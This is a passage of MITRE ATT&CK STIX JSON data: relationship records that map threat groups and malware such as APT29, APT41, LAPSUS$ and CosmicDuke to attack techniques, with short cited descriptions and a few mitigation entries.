Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can send \"consent phishing\" emails containing malicious links designed to steal users’ access tokens.(Citation: AADInternals Documentation)","modified":"2022-04-18T19:42:19.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--731ba292-7016-4ccf-a296-58ced0421a37","type":"relationship","created":"2020-10-19T19:49:24.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Deploy Signed IOS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#34","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Deploy Signed IOS. Retrieved October 21, 2020."}],"modified":"2020-10-22T17:50:47.507Z","description":"Many vendors provide digitally signed operating system images to validate the integrity of the software used on their platform. Make use of this feature where possible in order to prevent and/or detect attempts by adversaries to compromise the system image. (Citation: Cisco IOS Software Integrity Assurance - Deploy Signed IOS)","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--731c3fa1-2af3-4b6e-ad0d-7942e8e966fb","type":"relationship","created":"2020-09-29T19:16:57.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-09-29T19:16:57.963Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can identify the current username on the victim system.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--731d14c6-a141-4e71-ac61-c344636e13d5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","source_name":"Symantec Tick Apr 2016"}],"modified":"2019-03-22T19:57:37.208Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) compromised three Japanese websites using a Flash exploit to perform watering hole attacks.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--731fb0bf-242f-43d3-906e-cb5d9781eb7f","type":"relationship","created":"2020-02-04T19:17:42.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T19:17:42.280Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7327153c-c123-401b-b675-554b8070fbed","created":"2022-08-24T19:35:21.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:25:05.001Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use backup C2 servers if the primary server fails.(Citation: Proofpoint Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--732a3283-d7ae-4d09-8446-edbd28c38ec0","created":"2022-06-16T15:18:51.164Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can query `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography MachineGuid` to retrieve the machine GUID.(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:18:51.164Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--732d754a-b02d-4ec6-8ba2-364c3a8510de","type":"relationship","created":"2021-08-18T20:30:58.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.607Z","description":"(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--732e753e-49c2-4af4-8b3b-c81e577d7a42","type":"relationship","created":"2020-12-03T21:35:33.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2021-04-19T20:47:24.526Z","description":"[Carbon](https://attack.mitre.org/software/S0335) has used RSA encryption for C2 communications.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.161Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) takes periodic screenshots and exfiltrates them.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73321011-c231-402e-a6bb-b9fd6cf6b658","type":"relationship","created":"2019-04-19T13:58:34.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."}],"modified":"2020-03-20T16:37:06.244Z","description":"[APT28](https://attack.mitre.org/groups/G0007) used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro. (Citation: Unit42 Sofacy Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7333e2da-7aa5-4559-a03d-5818883d62d5","type":"relationship","created":"2020-06-01T13:14:42.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T16:11:40.359Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege. (Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--733eae48-a5e2-4e82-b4a6-950c7a660e7e","type":"relationship","created":"2020-09-24T15:17:32.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.629Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can used pipes to connect machines with restricted internet access to remote machines via other infected hosts.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7340fcbe-e87b-4f16-bdac-e429a0ba7714","created":"2022-06-02T20:02:27.980Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PowerLess](https://attack.mitre.org/software/S1012) can use an encrypted channel for C2 communications.(Citation: Cybereason PowerLess February 2022)","modified":"2022-06-02T20:02:27.980Z","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--734251a0-1a99-48f5-8b37-192a657a430e","created":"2019-09-23T23:14:16.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:36:06.784Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used the `China Chopper` web shell as a persistence mechanism on compromised Microsoft Exchange servers.(Citation: apt41_dcsocytec_dec2022)(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7344f9ce-b2ec-4754-b980-4d8d1464d35d","created":"2022-06-10T17:17:53.737Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has created global admin accounts in the targeted organization's cloud instances to gain persistence.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T17:17:53.737Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73499911-3b9f-443e-b522-f0d1434f2eb6","type":"relationship","created":"2020-05-21T14:55:00.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.174Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used multiple Windows APIs including HttpInitialize, HttpCreateHttpHandle, and HttpAddUrl.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7349c449-f6cd-44cd-858d-93c29320d7f0","type":"relationship","created":"2020-10-19T19:49:24.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Credentials Management","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#40","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Credentials Management. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:47.169Z","description":"Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always encrypted, per vendor recommendations. (Citation: Cisco IOS Software Integrity Assurance - Credentials Management)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--734b4d88-1203-4ffc-8f49-393dfebfe162","created":"2024-01-19T21:42:40.060Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T21:42:40.060Z","description":"[LoFiSe](https://attack.mitre.org/software/S1101) can monitor the file system to identify files less than 6.4 MB in size with file extensions including .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .rtf, .tif, .odt, .ods, .odp, .eml, and .msg.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7351ee6a-b054-41ab-8485-6875924ac129","created":"2024-08-20T19:54:49.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:30:25.822Z","description":"\n[Cuckoo Stealer](https://attack.mitre.org/software/S1153) has copied and renamed itself to DumpMediaSpotifyMusicConverter.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--735f51e0-f357-45a7-8a80-68eef5d4715b","type":"relationship","created":"2021-08-03T14:16:53.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:54:53.510Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can use hidden directories and files to hide malicious executables.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7360bacd-7a75-401a-b97e-b9bd6a2fbe42","created":"2023-04-06T19:13:49.472Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-06T19:13:49.472Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) registered domains for use in C2 including some crafted to appear as existing legitimate domains.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73622af3-6412-4fb9-b0ba-6a127c0db558","created":"2023-03-26T15:27:20.418Z","revoked":false,"external_references":[{"source_name":"Symantec RAINDROP January 2021","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:27:20.418Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to decode their [Raindrop](https://attack.mitre.org/software/S0565) malware.(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7363ed1a-6f75-4ded-9179-2fdba17f6cf1","type":"relationship","created":"2021-10-12T20:20:46.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}],"modified":"2021-10-18T20:41:53.013Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has obtained and used a variety of tools including [Mimikatz](https://attack.mitre.org/software/S0002), [PsExec](https://attack.mitre.org/software/S0029), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [SDelete](https://attack.mitre.org/software/S0195).(Citation: PTSecurity Cobalt Dec 2016)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73672e43-5a42-4b6a-934b-a52f57bdd7ac","type":"relationship","created":"2020-02-10T20:43:10.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T20:43:10.411Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73675ce7-d059-424a-9f8f-683188b19017","created":"2023-02-08T00:31:36.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:10:01.348Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can execute an operator-provided Windows command by leveraging functions such as `WinExec`, `WriteFile`, and `ReadFile`.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7367c930-0727-4550-b421-2768edef03cd","type":"relationship","created":"2019-03-11T16:44:33.803Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.359Z","description":"[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use golden tickets.(Citation: Github PowerShell 